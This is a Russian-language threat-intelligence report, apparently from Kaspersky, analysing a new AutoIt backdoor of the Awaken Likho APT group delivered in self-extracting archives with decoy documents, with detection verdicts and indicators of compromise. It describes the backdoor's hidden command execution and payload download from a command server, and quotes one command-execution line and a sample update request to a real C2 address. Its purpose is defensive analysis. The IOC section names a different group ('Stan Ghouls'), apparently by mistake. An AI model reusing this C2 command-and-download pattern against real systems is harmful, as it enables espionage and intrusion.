Новое пробуждение лиха: группа Awaken Likho подготовила бэкдор для атак по целям в России

Введение

Awaken Likho (также известная как Core Werewolf) — это APT-группа, которая как минимум с 2021 года атакует организации, расположенные преимущественно в России и Беларуси. Злоумышленники активно используют русский язык в фишинговых письмах, текстах приманок и названиях файлов. Среди основных целей — государственные учреждения и их подрядчики. За время наблюдения мы обнаружили несколько сотен целей Awaken Likho.

В наших предыдущих исследованиях мы отмечали две особенности этой группы: высокий уровень подготовки атак (включая тщательный выбор целей) и использование свободно распространяемого ПО для удаленного управления. Злоумышленники применяли готовые инструменты годами. В мае 2026 года мы обнаружили в их арсенале собственный мини-бэкдор, написанный на AutoIt. Начальные версии инструмента были достаточно примитивными, однако разработчики продолжают быстро развивать его, добавляя новую функциональность и усложняя его анализ. По всей видимости, этот бэкдор будет использоваться в дальнейших атаках группы.

В этой статье мы рассмотрим, как изменился типичный сценарий атак Awaken Likho, а также проанализируем обнаруженную инфраструктуру злоумышленников, выделив наиболее примечательные артефакты.

Технические детали

На протяжении всего периода наблюдения за Awaken Likho основным вектором первоначального доступа оставались фишинговые письма. Злоумышленники использовали приемы социальной инженерии, чтобы вынудить жертву открыть вредоносное вложение и запустить процесс заражения.

Мы давно наблюдаем за этой группой и не раз описывали использование целевого фишинга для первоначального доступа. Однако в ряде случаев нам удавалось при помощи собственных или открытых методов детектирования обнаружить импланты группы еще до их применения в реальных атаках (один из примеров, когда мы были быстрее, приведен в материале Awaken Likho не спит: разбираем новые техники APT-группы), что, по нашему мнению, предупреждало их дальнейшее применение.

Вероятно, так случилось и в этот раз: в мае 2026 года наши технологии мониторинга и превентивного обнаружения зафиксировали новый вид имплантов, реальных атак с использованием которых мы пока не видели. Тем важнее их описать сейчас. Мы надеемся, это позволит создать проактивные методы защиты (или корректно настроить существующие) и не допустить успешного применения этих имплантов злоумышленниками.

Ранее группа активно использовала легитимные средства удаленного управления (в основном UltraVNC) для получения доступа к конфиденциальным данным жертв. Однако теперь злоумышленники отходят от стандартных инструментов (по крайней мере в составе первоначального импланта) в пользу собственных разработок. Подобный тренд наблюдается в среде APT-групп в целом: все больше группировок отказываются от универсальных утилит и внедряют кастомные инструменты.

При этом основные цели группы Awaken Likho остаются прежними: атакующие охотятся за данными пользователей и, соответственно, кибершпионаж — их основная мотивация. Группа существует довольно давно и ведет активную деятельность, регулярно модифицируя свою инфраструктуру, поэтому для эффективного отслеживания ее кампаний необходим постоянный анализ текущей активности злоумышленников.

Новый вид имплантов

Наши системы проактивного выявления новых угроз обнаружили несколько неизвестных ранее имплантов, которые мы связываем с группой Awaken Likho. Эти образцы имели следующие имена:

• нормы снабжения [отредактировано] 2026 г..exe;
• мет рекоменд по проверке обосновывающих доку-тов единств поставщиков.exe;
• 19932_scan_media_каталог_ [отредактировано].exe;
• изменения в [отредактировано]-2026_1_33c6.

Ранее мы неоднократно упоминали, что основной мишенью группы являются русскоговорящие пользователи. Нынешняя активность не стала исключением, учитывая имена имплантов на русском языке.

Импланты однотипные, различаются лишь степенью обфускации нового бэкдора (который является вредоносной нагрузкой в импланте), поэтому рассмотрим их типичный состав на примере импланта с оригинальным именем «нормы снабжения тс [отредактировано] 2026 г..exe» (MD5: 8df0929f75048f7705a8cd53a553551c):

Файл является самораспаковывающимся архивом 7-Zip, который содержит следующий инсталляционный скрипт:

Почти все строки в инсталляционном скрипте закомментированы, кроме двух: Title и команды запуска RunProgram, которая запускает исполняемый файл 65787132.exe с параметром 63525769.au3.

Чтобы проанализировать поведение импланта после запуска, необходимо сначала извлечь его содержимое.

В архиве содержатся следующие файлы:

Состав архива 8df0929f75048f7705a8cd53a553551c

По дате изменения файлов очевидно, что имплант собирался 19 мая 2026 года.

Файл «Нормы снабжения [отредактировано] 2026 г..pdf» представляет собой обманку, первая страница которой имитирует ведомственный приказ, касающийся норм снабжения.

Также в архиве содержатся три текстовых служебных файла, которые не содержат вредоносной нагрузки:

• EULA_6ac66a5e_f0f4db39.txt

Содержимое файла EULA_6ac66a5e_f0f4db39.txt

• LICENSE_6ac66a5e_f0f4db39.txt

Содержимое файла LICENSE_6ac66a5e_f0f4db39.txt

• README_6ac66a5e_f0f4db39.txt

Содержимое файла README_6ac66a5e_f0f4db39.txt

В свою очередь, файл с расширением .ini содержит настройки интерпретатора AutoIt:

Содержимое файла config_6ac66a5e_f0f4db39.ini

А 65787132.exe является легитимным исполняемым файлом интерпретатора AutoIt и имеет валидную подпись:

Корректная подпись файла 65787132.exe

Таким образом, после выполнения исходного самораспаковывающегося архива запускается интерпретатор AutoIt с файлом 63525769.au3 в качестве параметра.

Очевидно, что основная вредоносная нагрузка находится в скрипте 63525769.au3. Скрипт может быть прочитан и проанализирован человеком, однако он слегка обфусцирован: изменению подверглись имена функций и переменных. Пример обфусцированного кода скрипта приведен на скриншоте ниже.

Фрагмент обфусцированного скрипта 63525769.au3

Мы вручную деобфусцировали код и проанализировали логику работы скрипта, который и является бэкдором, разработанным Awaken Likho. Далее перечислим, какие действия он выполняет.

1. Сначала в коде скрипта задаются его базовые настройки. Среди них: адрес С2, полные адреса файлов inst.dat и sent.dat, полный адрес PDF-файла-обманки и адрес директории Downloads в профиле пользователя.
   

   Задание базовых настроек скрипта-бэкдора

2. Далее скрипт ожидает 6,6 секунды, после чего проверяет существование файла $inst_dat. Если его нет, скрипт создает этот файл и записывает в него значение @ComputerName. Если же файл существует, скрипт считывает его содержимое в локальную переменную $comp_name.
3. Аналогичным образом скрипт ищет файл $send_data. Если его обнаружить не удается, скрипт формирует список файлов на рабочем столе, сохраняет его по адресу @TempDir & "\" & @ComputerName & "_Desktop_Files.txt" и отправляет на C2-сервер при помощи POST-запроса, после чего удаляет созданный файл со списком. Если же скрипт находит файл $send_data, то данные действия пропускаются.
4. После этого скрипт проверяет наличие файла $pdf_decoy_name. Если такой файл существует, создается директория dwnl_dir, в нее перемещается файл-обманка, который открывается при помощи ShellExecute (если все прошло без ошибок). Маркером того, что отправка данных была успешной, является запись строки Sent в файле $send_data.
5. Затем скрипт входит в бесконечный цикл со случайной задержкой от 5 до 7 секунд на каждой итерации. В этом цикле скрипт выполняет следующие действия.
   1. Отправляет GET-запрос на C2-сервер и ожидает команду, которая может быть выполнена при помощи cmd.exe. Если команда получена, скрипт запускает ее следующим образом: Run(@ComSpec & " /c " & $command, "", @SW_HIDE, 6). Результат возвращается на C2-сервер при помощи POST-запроса.
   2. Проверяет наличие обновлений при помощи обращения к объекту на C2-сервере по адресу, который заканчивается на /get_update_file, например:
      
      GET /dc9e0891/[hidden]/get_update_file HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 192.144.57[.]12

      1 2 3 4 5

      GET /dc9e0891/[hidden]/get_update_file HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 192.144.57[.]12

      
      Получив имя файла обновления, скрипт проверяет его наличие среди запущенных процессов, отыскивая в списке активных задач процесс с таким именем и расширением EXE.
   3. Если файл обновления не запущен, загружает его при помощи похожего запроса. Однако в конце URL (после /get_update_file) добавляется косая черта и имя файла-обновления. Загруженный файл сохраняется в каталог C:\Users\Public\BrowserUpdater (путь жестко прописан в коде скрипта).
   4. После 25-секундной задержки пытается запустить обновление, совершая до 10 попыток запуска с интервалом 3 секунды. Если же процесс обновления успешно запущен, скрипт пытается удалить файл при помощи функции FileDelete().

Действия, описанные в пункте 3, повторяются в цикле до тех пор, пока процесс обновления не будет успешно запущен (при наличии загруженного файла обновления). На этом базовая функциональность скрипта исчерпывается. Его нельзя назвать полноценным бэкдором или заменой профессиональным средствам удаленного управления. По сути это легковесный загрузчик с минимальной функциональностью бэкдора, предназначенный для скрытого закрепления в инфраструктуре жертвы и, вероятно, последующей загрузки полноценного импланта.

Прежде чем перейти к выводам, обратим внимание читателя на ряд любопытных артефактов, обнаруженных в процессе анализа. Они свидетельствуют о том, что нам удалось перехватить образец на этапе его активной разработки и отладки.

1. Несколько вредоносных имплантов (например, 1FD27424A358FFE1517395D6C8227847, BFB2C58AB6B79B079DB721973E5E21EE, EC6CA8771D9BAF3CC08E6F0B1E9DD683) в качестве командного сервера использовали адрес из частной подсети (10.152.152[.]81), что типично для локального тестирования.
2. Имплант 19932_scan_media_каталог_[отредактировано].exe (2CA9BD5DAA68803847A177F606B32BB9) — содержал в качестве конфигурации С2-сервера заглушку google.com.
3. Еще один имплант (EDADD54FD1812A5336A77974D29A62F9) также содержал упоминание тестового адреса 10.152.152[.]81 и дату сборки (20.05.2026), однако в качестве полезной нагрузки использовал легитимный калькулятор, что по всей видимости указывает на его тестовое назначение.

Атрибуция

Мы с высокой степенью уверенности связываем обнаруженный вредоносный инструментарий с активностью группы Awaken Likho (Core Werewolf), опираясь на следующие характерные признаки, совпадающие с их предыдущими кампаниями.

Выявлены инфраструктурные пересечения с другими кампаниями Awaken Likho.

Тактики, техники и процедуры (TTPs), обнаруженные в образцах, во многом совпадают с характерным арсеналом группы, задокументированным в отчетах ранее. Например, использование AutoIt для реализации вредоносной логики группа использует не впервые, мы уже описывали эту технику. Выявленные образцы демонстрируют и другие характерные для Awaken Likho техники, в том числе использование таргетированного фишинга в качестве первоначального вектора и применение самораспаковывающихся 7-Zip-архивов для доставки имплантов. Эти техники также были задокументированы в наших предыдущих работах.

Выводы

В этой статье мы разобрали новый вредоносный инструментарий, разрабатываемый группой Awaken Likho. Мы обнаружили изменение TTPs злоумышленников на этапе первоначального доступа и проактивно уведомили наших пользователей, что позволит им быть во всеоружии к моменту начала широкого применения этих инструментов в реальных атаках.

Группа отходит от использования сторонних RAT и легитимных средств удаленного администрирования, применявшихся ранее, и переходит к разработке собственных вредоносных утилит. Стоит заметить, что такая тенденция является скорее трендом среди APT-группировок, нежели исключением.

В целом же подход злоумышленников не изменился кардинально. Импланты все так же доставляются в самораспаковывающихся архивах, инфраструктура C2 развернута на арендуемых VPS-серверах, а при построении атак злоумышленники продолжают придерживаться принципа KISS (Keep It Short and Simple — «Делай короче и проще»).

Мы продолжаем отслеживать активность группы Awaken Likho и будем информировать наших клиентов о появлении нового арсенала и эволюции тактик злоумышленников. Решения «Лаборатории Касперского» надежно выявляют подобные угрозы и блокируют их на всех этапах реализации.

Детектирование решениями «Лаборатории Касперского»

Решения «Лаборатории Касперского» эффективно обнаруживают описанную вредоносную активность на каждом этапе. В этом разделе представлены возможные сценарии обнаружения.

Использование SFX-архивов и скриптов на AutoIt оставляет на целевых хостах характерные артефакты, которые позволяют выявлять активность данной угрозы с помощью Kaspersky Endpoint Detection and Response Expert.

Граф выполнения SFX-архива в KEDR Expert

Например, после распаковки SFX-архива средства защиты фиксирует запуск исполняемого файла из временной директории, что вызывает срабатывание правила possible_renamed_interpreter. В хранилище правил детектирования Hunt Hub нашего TI‑портала можно найти правила обнаружения для других типов событий и различных ОС.

Также полную цепочку выполнения процессов и событий атаки можно увидеть на графе выполнения процессов в Kaspersky Cloud Sandbox на портале Threat Intelligence.

Граф выполнения SFX-архива в Kaspersky Cloud Sandbox

Для автоматической атрибуции поступающих образцов в наборе инструментов Kaspersky Threat Analysis можно воспользоваться сервисом Kaspersky Threat Attribution Engine (KTAE), который успешно определяет принадлежность распакованных файлов к известным угрозам.

Анализ SFX-архива через KTAE

Кроме того, инструмент Similarity позволяет находить схожие по структуре и функциональности скрипты, которые могли использоваться в других кампаниях. К примеру, в результатах поиска на скриншоте ниже отображается образец с вердиктом, характерным для инструментов группы Awaken Likho.

Анализ SFX-архива через Similarity

Дополнительно средства защиты «Лаборатории Касперского» позволяют обнаружить атаку на ранних этапах с использованием соответствующих вердиктов:

HEUR:Trojan-Dropper.Win32.AutoIt.*
HEUR:Trojan-Dropper.NSIS.Agent.*
HEUR:Trojan.NSIS.Kryptik.*

Индикаторы компрометации

Дополнительные индикаторы компрометации и правило YARA для детектирования активности группы Stan Ghouls доступны клиентам сервиса аналитических отчетов об APT-угрозах. Для получения более подробной информации свяжитесь с нами по адресу intelreports@kaspersky.com.

Вредоносные сэмплы

1FD27424A358FFE1517395D6C8227847
2CA9BD5DAA68803847A177F606B32BB9
3FDBDFDDD292BDF60B28DFC8DBDDDEC8
8DF0929F75048F7705A8CD53A553551C
19E56B5966ED8A8F58BFCB3DEAE7D334
30E060619C21156CA1050A0DD3A149B1
9032B77BDD65859773E65ED66388AF09
96327AE1556B70F792522FDA999AD96B
BFB2C58AB6B79B079DB721973E5E21EE
E7844176A91F5E494AC6F27D5F987CDC
EC6CA8771D9BAF3CC08E6F0B1E9DD683
8df0929f75048f7705a8cd53a553551c

Вредоносные домены и IP

griyagista[.]com
bronstroy[.]ru
85.198.111[.]134
192.144.57[.]12